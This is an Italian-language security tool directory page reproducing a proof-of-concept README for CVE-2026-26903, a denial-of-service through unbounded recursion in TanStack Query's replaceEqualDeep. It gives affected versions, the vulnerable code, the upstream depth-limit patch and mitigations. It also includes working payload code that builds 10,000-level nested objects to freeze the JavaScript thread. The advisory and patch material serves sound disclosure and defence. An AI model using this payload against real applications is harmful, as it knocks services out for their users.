Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-26903-PoC — Una PoC per dimostrare CVE-2026-26903 | Kitploit
Strumenti/GitHubGitHub/john-jung/cve-2026-26903-poc
Analisi delle VulnerabilitàExploitSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

Una PoC per dimostrare CVE-2026-26903

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-26903 PoC

Denial-of-service tramite ricorsione illimitata nella funzione replaceEqualDeep di TanStack Query

Un singolo aggiornamento di query appositamente progettato con oggetti profondamente annidati può congelare il thread JavaScript a tempo indeterminato, causando la completa mancata risposta dell'applicazione. Non è richiesta alcuna autenticazione né permessi speciali.

Versioni affette

Questa vulnerabilità è stata corretta in @tanstack/[email protected] tramite la PR #10032, pubblicata il 14 gennaio 2026.

PacchettoAffettoCorretto
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-querydepends on vulnerable query-core5.90.18+
@tanstack/vue-querydepends on vulnerable query-core5.90.18+
@tanstack/solid-querydepends on vulnerable query-core5.90.18+
@tanstack/svelte-querydepends on vulnerable query-core6.1.7+

Descrizione ufficiale

CVE-2026-26903: Denial of Service tramite ricorsione illimitata in replaceEqualDeep (Severità: Media)

La funzione replaceEqualDeep in TanStack Query esegue un confronto ricorsivo di oggetti annidati senza limiti di profondità. Quando elabora strutture dati profondamente annidate, ciò può innescare una ricorsione illimitata che porta a stack overflow e al congelamento dell'applicazione.

— Assegnato tramite MITRE

Riepilogo della vulnerabilità

La funzione replaceEqualDeep di TanStack Query viene utilizzata internamente per determinare se i dati di una query sono effettivamente cambiati, ottimizzando i re-render preservando i riferimenti agli oggetti quando possibile. La funzione attraversa ricorsivamente le proprietà degli oggetti per eseguire un confronto di uguaglianza profonda.

Il problema

L'implementazione ricorsiva manca di limiti di profondità o di rilevamento dei cicli:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Meccanismo di attacco

  1. Innesco: qualsiasi aggiornamento di query che passa attraverso replaceEqualDeep con dati profondamente annidati
  2. Payload: oggetti annidati a più di 5.000 livelli di profondità
  3. Impatto: congelamento immediato del thread JavaScript, completa mancata risposta dell'interfaccia utente
  4. Persistenza: l'applicazione rimane congelata fino al ricaricamento della pagina

Superficie di attacco

  • Diretto: hook useQuery con dati di risposta annidati
  • Indiretto: setQueryData, invalidateQueries o qualsiasi operazione sulla cache delle query
  • Lato client: nessun coinvolgimento del server necessario — DoS puramente lato client

Struttura del repository

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

Passaggi per la riproduzione

1. Clonazione e configurazione

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Esegui il PoC Node.js (crash da stack overflow)

root@kitploit:~
node poc.js

3. Output atteso

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Esegui il PoC nel browser (demo interattiva visiva)

root@kitploit:~
open tanstack-query-poc.html
  1. Verifica che l'app sia reattiva:
    • Clicca sul pulsante contatore
    • Digita nel campo di input
    • Osserva il timer live che conta
  2. Attiva il DoS:
    • Clicca su "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Risultato: il timer si ferma, i pulsanti non rispondono, la pagina si blocca

Test dettagliati

Opzione A: demo HTML autonoma (nessuna dipendenza)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Opzione B: applicazione React (scenario realistico)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

Comportamento atteso

Prima dell'attacco:

  • Il pulsante contatore incrementa
  • Il timer live si aggiorna ogni secondo
  • Il campo di input risponde alla digitazione
  • Tutte le interazioni dell'interfaccia funzionano normalmente

Dopo l'attacco:

  • Il timer si blocca sul valore corrente
  • Il pulsante contatore smette di rispondere
  • Il campo di input diventa non reattivo
  • La console non mostra errori (il thread è bloccato, non è andato in crash)
  • Unica soluzione: ricaricamento della scheda/finestra del browser

Come funziona l'exploit

Il PoC genera oggetti profondamente annidati e innesca replaceEqualDeep per elaborarli:

1. Generazione del payload

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Innesco dell'attacco

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. Catena di ricorsione

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

Ogni chiamata ricorsiva aggiunge un nuovo frame allo stack finché lo stack delle chiamate del motore JavaScript non si esaurisce, congelando il thread.

Codice vulnerabile

Posizione: @tanstack/query-core/src/utils.ts (approssimativa)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Patch

La correzione (applicata nel commit 269351b di TanStack Query) aggiunge un limite di profondità per prevenire la ricorsione illimitata:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Modifiche principali:

  1. Aggiunto il parametro depth con valore predefinito 0 per tracciare la profondità di ricorsione
  2. Aggiunto il controllo del limite di profondità — restituisce b immediatamente se depth > 500
  3. Incrementata la profondità nelle chiamate ricorsive — replaceEqualDeep(aItem, bItem, depth + 1) Questa semplice correzione previene lo stack overflow consentendo al contempo un annidamento ragionevole (500 livelli sono più che sufficienti per le strutture dati del mondo reale).

Mitigazione

Soluzioni temporanee

  1. Appiattisci i dati profondamente annidati prima di passarli a TanStack Query
  2. Implementa funzioni di confronto personalizzate con limiti di profondità
  3. Monitora la complessità dei dati delle query in sviluppo

Soluzione adeguata

Implementa un limite di profondità in replaceEqualDeep:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

Oppure usa un attraversamento iterativo invece della ricorsione.

Riferimenti

  • Avviso di sicurezza GitHub

Dichiarazione di non responsabilità

Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Usala in modo responsabile e solo contro applicazioni di tua proprietà o per le quali hai esplicito permesso di testare. Gli autori non sono responsabili per qualsiasi uso improprio di queste informazioni.

Scarica lo strumento